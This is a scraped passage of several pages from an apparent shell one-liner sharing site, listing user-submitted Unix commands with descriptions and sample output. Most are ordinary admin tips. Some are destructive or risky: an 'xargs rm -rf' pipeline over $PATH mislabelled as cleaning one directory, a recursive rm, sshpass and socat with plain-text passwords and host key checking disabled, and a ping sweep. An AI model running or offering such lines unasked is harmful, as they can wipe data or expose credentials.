Great for telnet stream. Substitute aa with caca for colour. To see in terminal: cat video.txt sleep 3m; play bigben.wav teatimer plays wave file after 3 minutes ps -ec -o command,rss | grep Stainless | awk -F ' ' '{ x = x + $2 } END { print x/(1024) " MB."}' 638.469 MB Sum of the total resident memory Stainless.app is using. Adds up the total memory used by all Stainless processes: 1 Stainless, 1 StainlessManager and 1 StainlessClient per tab open. youtitle(){ GET $1 | grep document.title | sed "s;^.*document.title = '\(.*\)'.*$;\1;"; }; youtitle "http://www.youtube.com/watch?v=Bs-myQ-ZqmE&feature=related" YouTube - Perplexer - Acid Folk Get the title of a youtube video CMD="who";SEC=1;N=0;OLD="";NEW=""; while `sleep $SEC`; do OLD="$NEW"; NEW="$(eval $CMD)"; DIFF=`diff <( echo "$OLD" ) <( echo "$NEW" )`; if [ -n "$DIFF" ]; then date; echo "Diff #$N (${SEC}s): $CMD"; echo "$DIFF"; fi; N=$[$N+1]; done | tee /tmp/keepr Mon Dec 25 14:15:30 EST 2099 Diff #0 (1s): who 1c1 < Mon Dec 25 14:15:32 EST 2099 Diff #4 (1s): who 1a2 Mon Dec 25 14:20:37 EST 2099 Diff #11 (1s): who Watch and keep history of a command Watch any command (pipes ok, quotes be careful) and keep history in a file. Good for watching and recording any kind of status or error condition, file creations, etc. The choice of "who" as CMD was just to show an obvious usage. Uses plenty of shell tricks that can be disassembled for simpler stuff. It's deliberately not perfect, but it is generic, and can be customized for your own uses. Had to shorten a little to meet 255 chars. Better than "watch" how? It keeps a date log of what is going on, and tee'd output is plain-text. montage *.png -mode concatenate -tile 10x all.png create a image matrix date -u +%W$(uname)|sha256sum|sed 's/\W//g' Functions: date sed anti-spam defaults write com.apple.dashboard mcx-disabled -boolean YES; killall Dock gzip -dc /tmp/pavanlimo.gz | psql -U user db Run gunzipped sql file in PostGres, adding to the library since I couldnt find this command anywhere else on the web. perl -e '$_=`ifconfig eth0`;/\d+.\d+.\d+.\d+ /; print $&,"\n";' 10.10.10.10 If you are interested in interfaces other than eth0 you will need to change eth0 to your interface name. You could use this mammoth to nab the ip4 addresses of all your interfaces perl -e '@_=`ifconfig -a`; sort(@_); foreach(@_) { /(inet addr\:)(\d+.\d+.\d+.\d+ )/; $_=$2; @uniq=grep($_ ne $prev && (($prev) = $_), @_);} print join "\n",@uniq,"\n"; ' it seems silly to have all this code when the following will work fine ifconfig -a | grep "inet " | awk -F":" ' { print $2 } ' | cut -d " " -f1 find . -type f -newer 201011151300.txt -exec head -1 {} \; hello this is file one line 1 hello this is file two line 1 Functions: find head print the first line of every file which is newer than a certain date and in the current directory create the "newer than" file by: touch -t 201011151300 ./201011151300.txt the format for the time is [[CC]YY]MMDDhhmm[.SS] digest -a -v md5 user@computer: digest -v -a md5 /tmp/testfile md5 (/tmp/testfile) = 485946e6a7217e137ae32f81016fe53a md5 checksum check $sudo aptitude install python-virtualenv; virtualenv --no-site-packages jpaenv; source jpaenv/bin/activate Python virtual-env creation Python virtual environment creation. wget -O chart.png 'http://chart.googleapis.com/chart?chs=250x100&chd=t:60,40&cht=p3&chl=Hello|World' google chart api http://chart.apis.google.com/chart?chs=450x200&cht=p3&chtt=Browser+Usage+on+Wikimedia&chl=IE%2834.2%%29|Firefox%2823.6%%29|Chrome%2820.6%%29|Safari%2811.2%%29|Opera%285.0%%29|Android%281.9%%29|Other%283.5%%29&chd=t:34.2,23.6,20.6,11.2,5.0,1.9,3.5 nano `which script` Edit any script executable by the user. Substitute nano with your favorite editor, of course. for x in `ptree | awk '{print $1}'`; do pfiles $x | grep ${PORT} > /dev/null 2>&1; if [ x"$?" == "x0" ]; then ps -ef | grep $x | grep -v grep; fi; done 2> /dev/null root@shell02:~# for x in `ptree | awk '{print $1}'`; do pfiles $x | grep -w ${PORT} > /dev/null 2>&1; if [ x"$?" == "x0" ]; then ps -ef | grep $x | grep -v grep; fi; done 2> /dev/null root 5386 5331 0 Oct 06 ? 1:29 /lib/svc/bin/svc.configd root 6211 6209 0 Oct 06 ? 0:02 /usr/lib/autofs/automountd root 17437 6425 0 09:02:56 ? 0:00 /usr/lib/ssh/sshd daemon 12227 5331 0 Dec 03 ? 0:00 /usr/lib/nfs/statd daemon 12232 5331 0 Dec 03 ? 0:00 /usr/lib/nfs/lockd root@shell02:~# Can use lsof, but since it's not part of the base OS, it's not always available. ‹ First < 226 227 228 229 230 > Last › hostresult=$(host -t A www.example.com); echo "${hostresult##* }" 192.0.32.10 The host command comes with the bind-utils package, which is has a better chance to be installed than resolveip from mysql. The last word of the query result is displayed, which is the last result host got. This works with CNAMEs. You get "3(NXDOMAIN)" in case of failure. (IFS=$'\n'; ln -sf $(awk '((NR % 2) != 0 && NR > 1) {print "prefix" $0}' list.m3u) target_folder) Functions: awk ln Populate a folder with symbolic links to files listed in an m3u playlist. This command will place symbolic links to files listed in an m3u playlist into a specified folder. Useful for uploading playlists to Google Music. prefix = The full path prefix to file entries in your .m3u file, if the file paths are relative. For example, if you have "Music/folder/song.mp3" in your list.m3u, you might want to specify "/home/username" as your prefix. list.m3u = Path to the playlist target_folder = Path to the target folder in which you would like to create symlinks find $SDIR -name '${f}.*' -mtime +$n -maxdepth 1 | xargs -n 10 rm -vf find something sudo date -s "26 OCT 2008 19:30:00" Set date and time find . -iname ".project"| xargs -I {} dirname {} | LC_ALL=C xargs -I {} svn info {} | grep "Last Changed Rev\|Path" | sed "s/Last Changed Rev: /;/" | sed "s/Path: //" | sed '$!N;s/\n//' Project1/foo;123 Project1/bar;321 Project2/foobar;213 Functions: dirname find grep info sed xargs Get last changed revision to all eclipse projects in a SVN working copy Searches for all .project files in current folder and below and uses "svn info" to get the last changed revision. The last sed joins every two lines. perl -e 'system @ARGV, ' ssh host -l user < cmd.txt Functions: host perl ssh I was tired of the endless quoting, unquoting, re-quoting, and escaping characters that left me with working, but barely comprehensible shell one-liners. It can be really frustrating, especially if the local and remote shells differ and have their own escaping and quoting rules. I decided to try a different approach and ended up with this. exec 3<&0; ls -1N | while read a; do echo "Rename file: $a"; read -e -i "$a" -p "To: " b <&3 ; [ "$a" == "$b" ] || mv -vi "$a" "$b"; done Rename file: 1one To: 1one.txt `1one' -> `1one.txt' Rename file: 2two To: one plus one `2two' -> `one plus one' Rename file: 3three To: 3three Rename file: 4four To: 2 x 2 `4four' -> `2 x 2' Rename file: 5five To: 5five.avi `5five' -> `5five.avi' Functions: echo exec ls mv read Rename files in a directory in an edited list fashion just an alternative to #7818 find . -name '*.epub' -exec sh -c 'a={}; ebook-convert $a ${a%.epub}.mobi --still --more --options' \; Functions: find sh -exec sh -c 'var={}; do something with var' lets you do things in a sub-shell while it's faster to type, I'm not sure if dozens of subshells execute quicker than the while loops. echo $(grep "^[^']\{3,5\}$" /usr/share/dict/words|shuf -n4) potty Aspen seedy curt The improvement of this command over Strawp's original alternative is that you can specify the size of the words, in this particular case words between 3 and 5 character's long. It also excludes words that contain apostrophes, if you'd rather keep those words simply substitue [^'] for . ///bin/true; exec java bsh.Interpreter "$0" "$@" (Inside of a shell script) Make executable a BeanShell script under Linux/Cygwin The two lines below are for a BeanShell script so it can be executed under Linux and Cygwin. Also, bsh.jar must be in the CLASSPATH environment variable, or in the jre/lib/ext/ directory of the JVM. #! /bin/sh find start_dir -name *.txt | xargs -J % cp % end_dir/ catch all the txt files into a start_dir tree and copy them into a single end_dir ls -1 *.jpg | while read fn; do export pa=`exiv2 "$fn" | grep timestamp | awk '{ print $4 " " $5 ".jpg"}' | tr ":" "-"`; mv "$fn" "$pa"; done 2008-09-26 20-59-03.jpg 2008-10-25 22-27-45.jpg 2008-12-19 22-07-51.jpg 2008-10-02 15-01-42.jpg 2008-10-25 22-28-02.jpg 2008-12-19 22-07-59.jpg 2008-10-02 15-25-34.jpg 2008-11-04 16-44-20.jpg 2008-12-19 22-09-54.jpg Functions: awk export grep ls mv read tr Renames all the jpg files as their timestamps with ".jpg" extension. rfkill block bluetooth Turns off the bluetooth hardware module. To turn it back on use `rfkill unblock bluetooth`. Works in Ubuntu, probably in other distros as well. I don't know if you need some special user permission to do this. It worked for me out of the box. ifconfig eth3|sed 's/^eth3.*HWaddr //;q' 00:50:56:BC:92:0A Reading my nic's mac address Just replace eth3 with the interface you want the MAC for. v () { ( IFS=$'\n'; suf="_versions"; mkdir -p "$1$suf"; nr=`ls "$1$suf" | wc -l`; nr=`printf "%02d" $(($nr + 1))`; cp "$1" "$1$suf/v${nr}_$1" ) } file.svg file.svg_versions/v01_file.svg file.svg_versions/v02_file.svg Functions: cp mkdir wc Quick and dirty version control for one file Bash function copies a file prefixed with a version number to a subdirectory convert input.png -colorspace Gray output.png grayscale image mtree -c -K sha256digest -X mtree.exclude -p /path > host.mtree Generate a specification file for file integrity scanning. find . -name '*.m4a' | xargs -I audiofile mplayer -ao pcm "audiofile" -ao pcm:file="audiofile.wav" covert m4a audio files to wav sed -n '//,/<\/Tag>/p' logfile.log Extract XML from an otherwise plain text log file If your XML is appended to a line with a time stamp or other leading text irrelevant to the XML, then you can append a s/foo/bar/ command, like this: sed -n //,/<\/Tag>/p; s/.*\( Last › for f in $(qlist -IC); do stat /usr/portage/"$f" > /dev/null; done stat: cannot stat `/usr/portage/virtual/ghostscript': No such file or directory stat: cannot stat `/usr/portage/virtual/mpg123': No such file or directory stat: cannot stat `/usr/portage/virtual/poppler': No such file or directory Find installed packages that are not in the portage tree anymore. Problem arises when ebuild gets removed from portage and you end up with old and unmaintained package that you cannot find standard way. This oneliner will give you list of those packages. function focus() { winID=`xprop -root |awk '/_NET_ACTIVE_WINDOW/ {print $5; exit;}'`; $@; wmctrl -i -a $winID; } Autofocus window after executing some command focus make all from: http://noisy-coder.blogspot.com/2010/10/autofocus-window.html netstat -atn | perl -ane 'if ( $F[3] =~ /(\d+)$/ ) { $x{$1}=1 } END{ print( (grep {!$x{$_}} 32768..61000)[0] . "\n" )}' Functions: grep netstat perl perl-based version shuf /usr/share/dict/words |grep "^[^']\{3,5\}$" |head -n4 nukes waken Liszt vain Functions: grep head This does the same thing that the command 'j_melis' submitted, but does it a lot quicker. That command takes 43 seconds to complete on my system, while the command I submitted takes 6 seconds. netstat -antuwp | egrep "(^[^t])|(^tcp.*LISTEN)" Functions: egrep netstat Lists open ports grep -v "^\W$" Match non-empty lines I had some trouble removing empty lines from a file (perhaps due to utf-8, as it's the source of all evil), \W did the trick eventually. ulimit -n Change open file descriptors limit. It is not uncommon to receive an error "Too many open files", this command allows you to change the limit for a user. This can be put into /etc/profile so that all users will have this change. iptables -L -n -v View firewall config including devices on linux w/netfilter I was previously unaware of the -v switch. As a result I never got specifics about which interfaces the allowed or dropped applied to. Thought I'd share the wealth... FYI, -n prevents DNS resolving of IPs. wget -q $(lynx --dump 'http://geekandpoke.typepad.com/' | grep '\/.a\/' | grep '\-pi' | head -n 1 | awk '{print $2}') -O geekandpoke.jpg Functions: awk grep head wget Get the latest Geek and Poke comic detex document.tex|wc -w Count words in a TeX/LaTeX document. x=(*.001); cat "${x%.001}."* > "${x%.001}" #unsafe; does not check that all the parts are there, or that the file-sizes make sense! Functions: cat make Join all sequentially named files in the directory Join all sequentially named files in the directory. Use this for files split by utilities like hjsplit and similar. This command does not do/perform _any_ sanity checks before acting, except that it won't run unless there is a file that matches "*.001". - The outfile should not already exist. - There should be more than one file. (*.002 should exist as well as *.001) - The file-count should match the number in the name of the last file in the series. - None of the files should be empty. - All files should be the same size, except for the last, which should usually be smaller, but never larger than the rest. A safer altenative can be found here: http://pastebin.com/KSS0zU2F alias mid='printf "\e[8;24;80;t"' Resize participating terminals to classic 80x24 size. Uses printf command to resize terminal. So far, this is tested to NOT work in Konsole. Works with Mac Terminal, XFCE Terminal, XTerm, gnome-terminal. xawtv -remote -bpp 16 -noxv-video -geometry 160x120 -device /dev/video0 View video cam from remote machine during ssh session This command lets you view the cam on remote machine whilst connected via ssh. Note: must connect to remote machine with ssh -Y. ipconfig getifaddr Get Interface's IP on Mac for i in `mysqladmin -h x.x.x.x --user=root -pXXXX processlist | grep <>| grep <>| awk {'print $2'}` do mysqladmin -h x.x.x.x --user=root -pXXX kill $i; done; Kill multiple Locked connection by a single user in MYSQL DB awk 'BEGIN{while (a++<50) s=s "-"; print s}' Change the number 50 to whatever number of characters you want. Change the character inside the double quotes to whatever you want printed. sshpass -p [password] rsync -av -e ssh [utente]@[indirizzoip]:/directorydacopiare/ /directorydidestinazione Functions: rsync ssh How to use rysnc over ssh tunnel Check the ssh_config file and set the variable: StrictHostKeyChecking no echo "w" | fdisk /dev/sdb Rescan partitions on a SCSI device Used this after cloning a disk with dd to make the newly written partitions show up in /dev/ shopt -s globstar; rm -rfv **/.svn ps aux | awk {'sum+=$3;print sum'} | tail -n 1 alias cls='printf %b '\''\033c'\''' Clear scrollback on all participating terminals. Syntax outside of an alias would be printf %b \\033c. This clears the screen and removes scrollback. Works on gnome-terminal and the XFCE's Terminal, and XTerm. It does clear the screen in Konsole and the Mac Terminal, but does not clear scrollback. print 'g/'delete this line'/delete\nwq' | ex file.txt Change a text files contents without opening it, or intermediate files. If you've ever wanted to change a text files contents without having to create an intermediate file. This is it. Ex is a part of vim. The command as given will delete ALL lines containing "delete this line" from the file. More Examples: print '%s/'this is a line'/'that is not the same line'/g\nwq' | ex file.txt will substitute the first string with the second string. print '3a\n'Inserted Line'\n.\n\nwq' | ex file.txt will insert the given line after line 3. CAVEAT, Some distro's like the print command, others like echo with this command. Also note there are NO error messages on failure, at least that I've ever seen. Ex can also be quite fussy as to how it takes strings, parameters, etc... I use at&t's ksh syntax may very with other shells. jot -s '' -b '-' 50 for ip in `seq 1 255`; do ping -c 1 192.168.1.$ip ; done | grep ttl netstat -rn | grep UG | tr -s " " | cut -d" " -f2 Functions: cut grep netstat tr ‹ First < 228 229 230 231 232 > Last › alias differ='sdiff --suppress-common-lines $1 $2' Often I need to diff two files and want the output side by side for ease of reading and I don't want to see common lines. With this alias I just: differ file1 file2 Ranking of the most frequently used commands buf() { f=${1%%.*};e=${1/$f/};cp -v $1 $f-$(date +"%Y%m%d_%H%M%S")$e;} $ buf a.txt `a.txt' -> `a-20101215_104638.txt' $ buf a.txt.gz `a.txt.gz' -> `a-20101215_104647.txt.gz' "infix" version in bash (4.x+) Remove -v to make it silent. BTW: The OP forgot to use "cat" and "nmap" ;-) I had a good laugh though. find . -type f -name '*.pm' -printf '%6s %p\n' | sort -nr | head -n 50 Functions: find head sort List 50 largest source files in a project Will work with filenames with spaces inside. Will not break in case of someone making directory that matches *.pm. And sorts from largest. Where largest is file size, not line count. pbpaste | ssh user@hostname pbcopy Transfers clipboard content from one OS X machine to another This uses ssh to transfer the contents of one Mac's clipboard to another's. This only works with plain text, sadly. Trying to transfer images will just clear out the remote machine's clipboard, and rich text will be converted to plain text. Using the "Remote Login" must be enabled on the remote machine (via System Preferences' Sharing panel) for this to work. mplayer -endpos 0.1 -vo null -ao null -identify *.avi 2>&1 |grep ID_LENGTH |cut -d = -f 2|awk '{SUM += $1} END { printf "%d:%d:%d\n",SUM/3600,SUM%3600/60,SUM%60}' 25:10:59 Functions: awk cut grep printf Get the total length of all video / audio in the current dir in H:m:s Better awk example, using only mplayer, grep, cut, and awk. shred -vzu /tmp/junk-file-to-be-shredded $ shred -vzu /tmp/junk-file-to-be-shredded shred: /tmp/junk-file-to-be-shredded: pass 1/26 (random)... shred: /tmp/junk-file-to-be-shredded: pass 2/26 (dddddd)... shred: /tmp/junk-file-to-be-shredded: pass 3/26 (bbbbbb)... shred: /tmp/junk-file-to-be-shredded: pass 4/26 (333333)... shred: /tmp/junk-file-to-be-shredded: pass 5/26 (249249)... shred: /tmp/junk-file-to-be-shredded: pass 6/26 (eeeeee)... shred: /tmp/junk-file-to-be-shredded: pass 7/26 (cccccc)... shred: /tmp/junk-file-to-be-shredded: pass 8/26 (888888)... shred: /tmp/junk-file-to-be-shredded: pass 9/26 (ffffff)... shred: /tmp/junk-file-to-be-shredded: pass 10/26 (666666)... shred: /tmp/junk-file-to-be-shredded: pass 11/26 (555555)... shred: /tmp/junk-file-to-be-shredded: pass 12/26 (777777)... shred: /tmp/junk-file-to-be-shredded: pass 13/26 (random)... shred: /tmp/junk-file-to-be-shredded: pass 14/26 (444444)... shred: /tmp/junk-file-to-be-shredded: pass 15/26 (db6db6)... shred: /tmp/junk-file-to-be-shredded: pass 16/26 (b6db6d)... shred: /tmp/junk-file-to-be-shredded: pass 17/26 (000000)... shred: /tmp/junk-file-to-be-shredded: pass 18/26 (999999)... shred: /tmp/junk-file-to-be-shredded: pass 19/26 (492492)... shred: /tmp/junk-file-to-be-shredded: pass 20/26 (aaaaaa)... shred: /tmp/junk-file-to-be-shredded: pass 21/26 (924924)... shred: /tmp/junk-file-to-be-shredded: pass 22/26 (6db6db)... shred: /tmp/junk-file-to-be-shredded: pass 23/26 (222222)... shred: /tmp/junk-file-to-be-shredded: pass 24/26 (111111)... shred: /tmp/junk-file-to-be-shredded: pass 25/26 (random)... shred: /tmp/junk-file-to-be-shredded: pass 26/26 (000000)... shred: /tmp/junk-file-to-be-shredded: removing shred: /tmp/junk-file-to-be-shredded: renamed to /tmp/000000000000000000000000 shred: /tmp/000000000000000000000000: renamed to /tmp/00000000000000000000000 shred: /tmp/00000000000000000000000: renamed to /tmp/0000000000000000000000 shred: /tmp/0000000000000000000000: renamed to /tmp/000000000000000000000 shred: /tmp/000000000000000000000: renamed to /tmp/00000000000000000000 shred: /tmp/00000000000000000000: renamed to /tmp/0000000000000000000 shred: /tmp/0000000000000000000: renamed to /tmp/000000000000000000 shred: /tmp/000000000000000000: renamed to /tmp/00000000000000000 shred: /tmp/00000000000000000: renamed to /tmp/0000000000000000 shred: /tmp/0000000000000000: renamed to /tmp/000000000000000 shred: /tmp/000000000000000: renamed to /tmp/00000000000000 shred: /tmp/00000000000000: renamed to /tmp/0000000000000 shred: /tmp/0000000000000: renamed to /tmp/000000000000 shred: /tmp/000000000000: renamed to /tmp/00000000000 shred: /tmp/00000000000: renamed to /tmp/0000000000 shred: /tmp/0000000000: renamed to /tmp/000000000 shred: /tmp/000000000: renamed to /tmp/00000000 shred: /tmp/00000000: renamed to /tmp/0000000 shred: /tmp/0000000: renamed to /tmp/000000 shred: /tmp/000000: renamed to /tmp/00000 shred: /tmp/00000: renamed to /tmp/0000 shred: /tmp/0000: renamed to /tmp/000 shred: /tmp/000: renamed to /tmp/00 shred: /tmp/00: renamed to /tmp/0 shred: /tmp/junk-file-to-be-shredded: removed securely overwrite a file with random junk, rename it to clear the directory entry and finally delete it sed -n 's/^model name[ \t]*: *//p' /proc/cpuinfo Genuine Intel(R) CPU T2080 @ 1.73GHz Alternative command to retrieve the CPU model name and strip off the "model name : " labels. /^\([2-9]\d*\|1\d+\) Finding all numbers that are bigger then 1 in vim If we have a csv like structure: And we wish to find all numbers that are bigger then 1 (or find a number that is bigger then 1 regardless of the structure), including numbers that start with 1 such as 10 and above. mailq | grep MAILER-DAEMON | awk ?{print $1}? | tr -d ?*? | postsuper -d - Functions: awk grep mailq tr history | awk '{print $2,$3}' | sed s/sudo// | awk '{print $1}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr Functions: awk sed sort tail uniq Your version works fine except for someone who's interested in commands 'sudo' was prefixed to i.e. in your command, use of sudo appears as number of times sudo was used. Slight variation in my command peeks into what commands sudo was used for and counts the command (ignores 'sudo') fig2dev -L eps file.fig file.eps Converting your Xfig 'fig' files to 'eps' and others There is a huge number of supported "languages" to which you can export your .fig figures to. See. 'man fig2dev' (http://linux.die.net/man/1/fig2dev). gotxt2imgmail() { if [ $# != 1 ]; then echo 'gotxt2imgmail < email >'; return; fi; e="$1"; f=$RANDOM.png; convert label:@- $f; echo "" | mailx -s $f -a $f $e } Functions: echo mailx Pipe stdout to image and mail sudo /sbin/ifconfig | gotxt2imgmail you@example.com echo "root=/dev/sda7" > /proc/param.conf Adding kernel boot parameters after loading kernel and initrd Then exit from the shell. exit some time need to exit twice exit exit Now the OS will boot with the new parameters. dpkg -l | grep (package name) to know which package in Ubuntu is install awk '{ for (f = 1; f <= NF; f++) a[NR, f] = $f } NF > nf { nf = NF } END { for (f = 1; f <= nf; f++) for (r = 1; r <= NR; r++) printf a[r, f] (r==NR ? RS : FS) }' transpose a file works the same as R's t() cat `whereis mysqlbug | awk '{print $2}'` | grep 'CONFIGURE_LINE=' CONFIGURE_LINE="./configure '--build=i486-linux-gnu' '--host=i486-linux-gnu' '--prefix=/usr' '--exec-prefix=/usr' '--libexecdir=/usr/sbin' '--datadir=/usr/share' '--localstatedir=/var/lib/mysql' '--includedir=/usr/include' '--infodir=/usr/share/info' '--mandir=/usr/share/man' '--with-server-suffix=-d7-ourdelta44' '--with-comment=(OurDelta - http://ourdelta.org/)' '--with-system-type=debian-linux-gnu' '--enable-shared' '--enable-static' '--enable-thread-safe-client' '--enable-assembler' '--enable-local-infile' '--with-big-tables' '--with-unix-socket-path=/var/run/mysqld/mysqld.sock' '--with-mysqld-user=mysql' '--with-libwrap' '--without-openssl' '--with-yassl' '--without-docs' '--without-readline' '--with-extra-charsets=all' '--with-innodb' '--with-archive-storage-engine' '--with-csv-storage-engine' '--with-federated-storage-engine' '--with-blackhole-storage-engine' '--with-sphinx-storage-engine' '--without-embedded-server' '--with-ndbcluster' '--with-ndb-ccflags=-fPIC' '--with-ndb-sh m' '--without-ndb-sci' '--without-ndb-test' '--with-embedded-server' '--with-embedded-privilege-control' '--without-ndb-docs' 'build_alias=i486-linux-gnu' 'host_alias=i486-linux-gnu' 'CC=gcc' 'CFLAGS=-DBIG_JOINS=1 -O2 -fPIC' 'CXX=g++' 'CXXFLAGS=-DBIG_JOINS=1 -felide-constructors -fno-rtti -O2'" Functions: awk cat grep hg diff -r$((`hg -q par | cut -d":" -f1`-1)) Functions: cut diff diff from last committed revision in Mercurial echo '' | php cut -f1 -d" " ~/.bash_history | sort | uniq -c | sort -nr | head -n 30 Show the most commonly used commands from .bash_history (sleep 3; echo "MyAwesomePassword"; sleep 3) |socat - EXEC:'ssh username@server "hostname"',pty,setsid,ctty Use socat to wrap around your pty to enter the password. You should really use keys. Really. I'm serious. But if you have to add your key, change password etc. for a long list of servers, this might help. chflags nohidden ~/Library Show/Hide files in Mac OS X Adds/Removes the hidden flag on a file or folder, making it invisible in the Finder. ip link show eth0 | grep "link/ether" | awk '{print $2}' ...or for a particular interface... echo - | sed -e :a -e 's/^.\{1,50\}$/&-/;ta' the sed way to print a linhe with 50 hyphens iconv -f UTF16LE -t UTF-8 < SOURCE | awk 'BEGIN { RS="\r\n";} { gsub("\n", "\r"); print;}' > TARGET Functions: awk iconv prepare unicode text saved from Microsoft Excel 2003 for unix console Sometimes you want to work on data sheets by using heirloom unic commands like cut, paste, sed, sort, wc and good old awk. But your user works on Microsoft Excel spreadsheet. The idea: 1) ask your user to save it as "Unicode Text" from Microsoft Excel and send the document to you; 2) use the given command to convert it to UTF-8 text. We carefully convert "\r\n" to local end-of-line character; and to convert "\n" (in Excel, means linebreak within the table cell") to "\r", which is carrier return but not end-of-line in Unix. If the "\n" is not replaced with "\r", for example, wc -l will report incorrect column number. ‹ First < 229 230 231 232 233 > Last › socat READLINE EXEC:'sqlplus',pty,setsid,ctty Get readline support for the sqlplus command. Perhaps a bit of a niche, but if you've even been frustrated by Oracles sqlplus command line tool for not supporting readline - have no fear. Socat is here to help you. wgetall () { wget -r -l2 -nd -Nc -A.$@ $@ } Recursively download all files of a certain type down to two levels, ignoring directory structure and local duplicates. wgetall mp3 http://example.com/download/ svn propget svn:externals -R [svn-repository-name] $ svn propget svn:externals -R tools/ http://host/svn/tools/trunk/modules/timecalc List all extneral depencies of an svn-repository List all svn externals dependencies of a specific project. user@hostname:~$ C:\home\user> Make bash look like DOS Credit goes here: http://blag.xkcd.com/2008/12/03/some-lists/ curl -i -X HEAD http://localhost/ ls / | sed -e :a -e 's/^.\{1,15\}$/&_/;ta' bin_____________ boot____________ cdrom___________ dev_____________ etc_____________ home____________ use sed to simulate rpad and lpad the sql command lpad and rpad using sed for lpad, invert the &_ with _&: ls / | sed -e :a -e 's/^.\{1,15\}$/_$/;ta' atomtitles () { curl --silent $1 | xmlstarlet sel -N atom="http://www.w3.org/2005/Atom" -t -m /atom:feed/atom:entry -v atom:title -n} > atomtitles http://rss.slashdot.org/Slashdot/slashdotatom Atomic Weight Not So Constant 20 Years of Commander Keen Amazon Taking Down Erotica, Removing From Kindles Humble Bundle 2 Is Live Air Force Blocks NY Times, WaPo, Other Media FBI Alleged To Have Backdoored OpenBSD's IPSEC Stack Fourth Amendment Protects Hosted E-mail McDonald's Hacked and Customer Data Stolen MS Hypes Win7 Tablets For CES &mdash; Again Hidden Backdoor Discovered On HP MSA2000 Arrays Julian Assange's Online Dating Profile Leaked Why Special Effects No Longer Impress Why Anonymous Can't Take Down Amazon.com Watch 200 Years of Global Growth In 4 Minutes Google Patents Browser Highlight All Button Get the headlines of an atom feed this simply curls the feed and runs a xpath query on it ... ifconfig | awk '/HW/ {print $5}' Simple MAC adrress, thanks to ifconfig. C-x C-v, Enter Reload an open file in emacs If you have file opened in emacs and was just changed, the fastest way to reload the file is C-x C-v, as its default value is the path of the file. ip2loc() { wget -qO - www.ip2location.com/$1 | grep "" | sed 's/<[^>]*>//g; s/^[\t]*//; s/"/"/g; s//>/g; s/&/\&/g'; } $ ip2loc 167.4.1.41 UNITED STATES Grabs the ip2location site and removes everything but the span tag containing the country value. Place it inside your .bashrc or .bash_aliases file. buf() { cp -v $1 ${1/${1%%.*}/$f-$(date +"%Y%m%d_%H%M%S")};} $ buf() { cp -v $1 ${1/${1%%.*}/$f-$(date +"%Y%m%d_%H%M%S")};} `a.txt' -> `a-20101215_131256.txt' `a.txt.gz' -> `a-20101215_131305.txt.gz' even shorter (infix) version. && ! Run previous same command in history lsof -n |grep delete find the delete file ,which is in use ls -1 $PATH*/* | xargs file | awk -F":" '!($2~/PDF document/){print $1}' |xargs rm -rf Functions: awk file ls rm xargs delete the files from the given directory except the PDF file :1,$!sort the '!' command in vi spawns a shell, then pipes all of the specified lines in the buffer through the command specified after '!', replacing all input lines with the result of the command. tar -zxvf file.tar.gz Unzip and untar a *.tar.gz file in one go A *.tar.gz file needs to be unzipped & then untarred. Previously I might have unzipped first with gunzip -d file.tar.gz and then untarred the result with tar -xvf file.tar (Options are extract, verbose, file) Using the -z (decompress) option on tar avoids the use of gzip (or gunzip) first. dd if=FILE | pv -s $(stat FILE | egrep -o "Size: [[:digit:]]*" | egrep -o "[[:digit:]]*") | dd of=OUTPUT Functions: dd egrep stat Will automatically take the size of the file but longer, usefull only if in an function. for x in *;do mv "$x" "`echo $x|tr [A-Z] [a-z]`";done convert uppercase filenames in current directory to lowercase as commented by Urk... ack -o -h --nogroup --css 'url\((.*)\)' --output "\$1" bingo.gif background.png http://example.com/images/flashy.jpg List all background image URLs referenced in CSS files in directory and subdirectories This searches through all CSS files in the current directory and sub-directories, matches the content between "url(...)", and prints a list of all the URLs. If you prefer to see the file the URL came from, remove the -h and --nogroup params. find / -name "*.xls" -print0 | xargs -0 rename .xls .ods {} Command to rename multiple file in one go This command can be used to rename all the files with extension .xls( in this case) to .ods files. It can be used for other files with certain extension. for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k" --`\\t"$k";done|sort http://cl.ly/2t1U1s0K3G0n2A2W473u psh:foursquare.web ryan$ for k in `git branch|sed s/^..//`;do echo -e `git log -1 --pretty=format:"%Cgreen%ci %Cblue%cr%Creset" "$k" --`\\t"$k";done|sort 2011-09-21 15:14:09 -0400 6 weeks ago i18n 2011-09-26 19:11:42 -0400 5 weeks ago soybeans-js 2011-10-26 01:53:40 -0400 7 days ago emails 2011-10-26 16:41:48 -0400 6 days ago ms-rd 2011-10-27 14:29:30 +0000 6 days ago master 2011-10-27 14:29:30 +0000 6 days ago nl 2011-11-01 09:40:05 -0400 17 hours ago snl psh:foursquare.web ryan$ This fixes a bug found in the other scripts which fail when a branch has the same name as a file or directory in the current directory. find -iname "*.pdf" -exec pdfinfo -meta {} \;|awk '{if($1=="Pages:"){s+=$2}}END{print s}' 78 This sums up the page count of multiple pdf files without the useless use of grep and sed which other commandlinefus use. wget -H -r -nv --level=1 -k -p -erobots=off -np -N --exclude-domains=del.icio.us,doubleclick.net --exclude-directories= my command for downloading delicious web links, alias sucs="sort | uniq -c | sort -n" $ last | awk '{print $1}' | sucs 23 fred 35 kathy 109 jim $ awk '{print $1}' httpd-access.log | sucs 3 10.3.45.28 45 172.20.23.87 97 192.128.3.4 280 10.1.128.16 Print sorted count of lines This alias finds identical lines in a file (or pipe) and prints a sorted count of them (the name "sucs" descends from the first letters of the commands). The first example shows the number of logins of users; the one who logged in most often comes last. The second example extracts web client IP addresses from a log file, then pipes the result through the "sucs" alias to find out which clients are performing the most accesses. Or pipe the first column of ps(1) output through "sucs" to see how many processes your users are running. vnstat Use it like this below: vnstat -u -i interface forces a database update for interface or creates the database if it doesn't exist. This is And one of out put will be below, sudo /usr/bin/vnstat -l Monitoring ppp0... (press CTRL-C to stop) rx: 0.00 kB/s 0 p/s tx: 0.00 kB/s 0 p/s^C ppp0 / traffic statistics --------------------------------------+---------------------------------------- bytes 0 kB | 0 kB packets 1 | 1 It has got so many wonderful switch to get the exact data you need. Get the information about the internet usage from the commandline. A wonderful command line utility to check the internet usage. It has got so many useful switch to display the data you want.Please visit the man page to get all the information.Get it from this website http://humdi.net/vnstat ‹ First < 230 231 232 233 234 > Last › python -c 'import datetime; print(datetime.date.today().isocalendar()[1])' python one-liner to get the current week number apt-show-versions | grep '\bpython\b' rpm -q --whatprovides $filename [mpb@localhost ~]$ rpm -q --whatprovides /bin/ed 